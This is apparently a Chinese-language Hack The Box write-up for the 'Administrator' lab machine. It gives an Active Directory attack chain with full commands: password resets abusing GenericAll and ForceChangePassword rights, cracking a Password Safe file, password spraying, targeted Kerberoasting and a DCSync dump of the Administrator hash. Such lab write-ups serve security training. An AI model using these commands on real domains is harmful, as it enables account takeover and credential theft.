HTB打靶记录-Administrator

# 信息收集

nmap -sV -sC -O 10.10.11.42

Nmap scan report for 10.10.11.42
Host is up (0.70s latency).
Not shown: 986 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-06 15:12:01Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49153/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/6%OT=21%CT=1%CU=44685%PV=Y%DS=2%DC=I%G=Y%TM=67F23C59
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=RD%CI=I%II=I%TS=A)SEQ
OS:(SP=106%GCD=1%ISR=10A%TI=RD%CI=RD%TS=9)SEQ(SP=108%GCD=1%ISR=10D%TI=RD%CI
OS:=RD%II=I%TS=A)SEQ(SP=F9%GCD=1%ISR=110%TI=RD%CI=I%II=I%TS=A)SEQ(SP=FD%GCD
OS:=1%ISR=110%TI=RD%CI=I%TS=A)OPS(O1=M542NW8ST11%O2=M542NW8ST11%O3=M542NW8N
OS:NT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)WIN(W1=FFFF%W2=FFFF%W3=FF
OS:FF%W4=FFFF%W5=FFFF%W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=
OS:)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=A
OS:R%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=
OS:80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-04-06T15:13:43
|_  start_date: N/A
|_clock-skew: 6h40m54s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 218.75 seconds

题目描述给了一个凭证：Olivia:ichliebedich

winrm（bloodhound）

常规信息收集，ftp和smb都没什么东西，winrm可以连接，翻了一下目录基本都没啥权限，bloodhound收集一些域信息

faketime "$(ntpdate -q 10.10.11.42 | grep -oP "\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}")" bloodhound-python -u Olivia -p ichliebedich -d administrator.htb -ns 10.10.11.42 -c All



导入GUI，发现Olivia对michael有Genericall权限

GenericAll

直接修改它的密码

net user michael admin123 /domain

winrm登录

evil-winrm -i 10.10.11.42 -u michael -p admin123

一点用没有，继续查看michael的域关系，对benjamin有ForceChangePassword权限



修改benjamin的密码

net rpc password benjamin "admin123" -U "administrator.htb/michael%admin123" -S 10.10.11.4

FTP

登录ftp

ftp benjamin@10.10.11.42

下载Backup.psafe3，这是个passwordsafe加密文件，转成hash爆破一下

passwordsafe

pwsafe2john Backup.psafe3 > 1.hash

john 1.hash --wordlist=/usr/share/wordlists/rockyou.txt



passwordsafe软件打开Backup.psafe3，里面是密码本

emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw

密码喷洒

crackmapexec smb 10.10.11.42 -u user.txt -p pass.txt --continue-on-success

SMB         10.10.11.42     445    DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

winrm连接，读取Desktop/user.txt，查看emily的域关系网

GenericWrite

对ethan有GenericWrite权限，kerborasting攻击获取ethan的hash

faketime "$(ntpdate 10.10.11.42|grep -oP '\d{4}-\d{2}-\d{2} \d{2}:\d{2}')" python3 targetedKerberoast.py -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb -d administrator.htb --dc-ip 10.10.11.42



爆破一下



查看ethan的域关系网，对Administrator有DCsync

DCsync

直接打DCsync获取Administrator的NTLM hash

impacket-secretsdump administrator.htb/ethan:limpbizkit@dc.administrator.htb -target-ip 10.10.11.42

用hash登录拿到root.txt